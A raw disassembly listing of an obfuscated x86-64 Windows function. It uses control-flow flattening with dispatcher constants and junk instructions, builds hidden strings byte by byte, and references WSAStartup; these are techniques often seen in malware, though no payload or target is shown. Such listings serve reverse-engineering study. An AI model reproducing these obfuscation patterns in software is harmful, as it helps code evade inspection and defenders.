mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f032
cmp ecx, 0xe9178650
jne 0x18006f020
jmp 0x18006efee
mov ecx, 0xe9178650
jmp 0x18006f020
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dl, cl
mov byte [rax], dl
mov dword [rbp + 0x278], 0x65
mov edx, 0xfb7b314f
jmp 0x18006f080
mov byte [rbp + 0x248], 4
mov cl, byte [rbp + 0x248]
mov edx, 0xa77b699f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f0b9
cmp edx, 0xfb7b314f
jne 0x18006f080
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f0b2
cmp ecx, 0xe9178650
jne 0x18006f0a0
jmp 0x18006f060
mov ecx, 0xe9178650
jmp 0x18006f0a0
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dl, cl
mov byte [rax + 1], dl
mov dword [rbp + 0x278], WSAStartup
mov edx, 0xfb7b314f
jmp 0x18006f100
mov byte [rbp + 0x248], 4
mov cl, byte [rbp + 0x248]
mov edx, 0xa77b699f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f139
cmp edx, 0xfb7b314f
jne 0x18006f100
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f132
cmp ecx, 0xe9178650
jne 0x18006f120
jmp 0x18006f0e1
mov ecx, 0xe9178650
jmp 0x18006f120
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dl, cl
mov byte [rax + 2], dl
mov dword [rbp + 0x278], WSAStartup
mov edx, 0xfb7b314f
jmp 0x18006f180
mov byte [rbp + 0x248], 4
mov cl, byte [rbp + 0x248]
mov edx, 0xa77b699f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f1b9
cmp edx, 0xfb7b314f
jne 0x18006f180
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f1b2
cmp ecx, 0xe9178650
jne 0x18006f1a0
jmp 0x18006f161
mov ecx, 0xe9178650
jmp 0x18006f1a0
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dl, cl
mov byte [rax + 3], dl
add rax, 4
mov qword [rbp + 0x260], rax
mov dword [rbp + 0x278], 0x69
mov ecx, 0xfb7b314f
jmp 0x18006f200
mov byte [rbp + 0x248], 4
mov al, byte [rbp + 0x248]
mov ecx, 0xa77b699f
nop
cmp ecx, 0xa77b699f
je 0x18006f237
cmp ecx, 0xfb7b314f
jne 0x18006f200
mov eax, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp eax, 0xc920a9a9
je 0x18006f230
cmp eax, 0xe9178650
jne 0x18006f220
jmp 0x18006f1ec
mov eax, 0xe9178650
jmp 0x18006f220
mov byte [rbp + 0x248], al
mov al, byte [rbp + 0x248]
mov ecx, dword [rbp + 0x278]
add cl, al
mov byte [rbp + 0x268], cl
mov eax, 0x73465a8a
jmp 0x18006f290
cmp eax, 0xa90ec2d6
je 0x18006f79d
cmp eax, 0x73465a8a
jne 0x18006f290
mov rax, qword [rbp + 0x260]
mov cl, byte [rbp + 0x268]
mov byte [rax], cl
mov rax, qword [rbp + 0x260]
mov dword [rbp + 0x250], WSAStartup
mov edx, 0xfb7b314f
nop word [rax + rax]
cmp edx, 0xa77b699f
je 0x18006f31d
cmp edx, 0xfb7b314f
jne 0x18006f2d0
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f302
cmp ecx, 0xe9178650
jne 0x18006f2f0
jmp 0x18006f309
mov ecx, 0xe9178650
jmp 0x18006f2f0
mov byte [rbp + 0x270], 4
mov cl, byte [rbp + 0x270]
mov edx, 0xa77b699f
jmp 0x18006f2d0
mov byte [rbp + 0x270], cl
mov cl, byte [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dl, cl
mov byte [rax + 1], dl
mov dword [rbp + 0x250], 0x61
mov edx, 0xfb7b314f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f39d
cmp edx, 0xfb7b314f
jne 0x18006f350
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f382
cmp ecx, 0xe9178650
jne 0x18006f370
jmp 0x18006f389
mov ecx, 0xe9178650
jmp 0x18006f370
mov byte [rbp + 0x270], 4
mov cl, byte [rbp + 0x270]
mov edx, 0xa77b699f
jmp 0x18006f350
mov byte [rbp + 0x270], cl
mov cl, byte [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dl, cl
mov byte [rax + 2], dl
mov dword [rbp + 0x250], 0x74
mov edx, 0xfb7b314f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f41d
cmp edx, 0xfb7b314f
jne 0x18006f3d0
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f402
cmp ecx, 0xe9178650
jne 0x18006f3f0
jmp 0x18006f409
mov ecx, 0xe9178650
jmp 0x18006f3f0
mov byte [rbp + 0x270], cl
mov cl, byte [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dl, cl
mov byte [rax + 3], dl
mov dword [rbp + 0x250], 0x65
mov edx, 0xfb7b314f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f49d
cmp edx, 0xfb7b314f
jne 0x18006f450
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f482
cmp ecx, 0xe9178650
jne 0x18006f470
mov ecx, 0xe9178650
jmp 0x18006f470
mov byte [rbp + 0x270], cl
mov cl, byte [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dl, cl
mov byte [rax + 4], dl
mov dword [rbp + 0x250], 0x50
mov edx, 0xfb7b314f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f51d
cmp edx, 0xfb7b314f
jne 0x18006f4d0
mov ecx, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp ecx, 0xc920a9a9
je 0x18006f502
mov byte [rbp + 0x270], cl
mov cl, byte [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dl, cl
mov byte [rax + 5], dl
mov dword [rbp + 0x250], WSAStartup
mov edx, 0xfb7b314f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f59d
cmp edx, 0xfb7b314f
jne 0x18006f550
mov byte [rbp + 0x270], cl
mov cl, byte [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dl, cl
mov byte [rax + 6], dl
mov dword [rbp + 0x250], WSAStartup
mov edx, 0xfb7b314f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa77b699f
je 0x18006f61d
mov rax, qword [rbp + 0x278]
movsx eax, byte [rax]
mov dword [rbp + 0x250], eax
mov ecx, 0xfb7b314f
jmp 0x18006f7d0
mov byte [rbp + 0x270], 4
mov al, byte [rbp + 0x270]
mov ecx, 0xa77b699f
nop word cs:[rax + rax]
cmp ecx, 0xa77b699f
je 0x18006f807
cmp ecx, 0xfb7b314f
jne 0x18006f7d0
mov eax, 0xc920a9a9
nop word cs:[rax + rax]
nop
cmp eax, 0xc920a9a9
je 0x18006f800
cmp eax, 0xe9178650
jne 0x18006f7f0
jmp 0x18006f7b4
mov eax, 0xe9178650
jmp 0x18006f7f0
mov byte [rbp + 0x270], al
mov al, byte [rbp + 0x270]
mov ecx, dword [rbp + 0x250]
add cl, al
mov rax, qword [rbp + 0x248]
mov byte [rax], cl
mov rax, qword [rbp + 0x248]
mov byte [rax + 1], 0
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.180090400
add rsp, 0x20
mov qword [rbp - 0x58], rax
mov eax, 0xb491f198
movabs r11, 0x100000001b3
jmp 0x18005ef80
cmp eax, 0x2fa9f9b6
je 0x18006f884
jmp 0x18005ef80
mov eax, 0xda73398f
mov dword [rbp + 0x1f0], 3
jmp 0x18005ef4f
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x2b18]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800fabf0
add rsp, 0x20
mov eax, dword [rbp + 0x1f4]
movaps xmm6, xmmword [rbp + 0x2b20]
lea rsp, [rbp + 0x2b38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret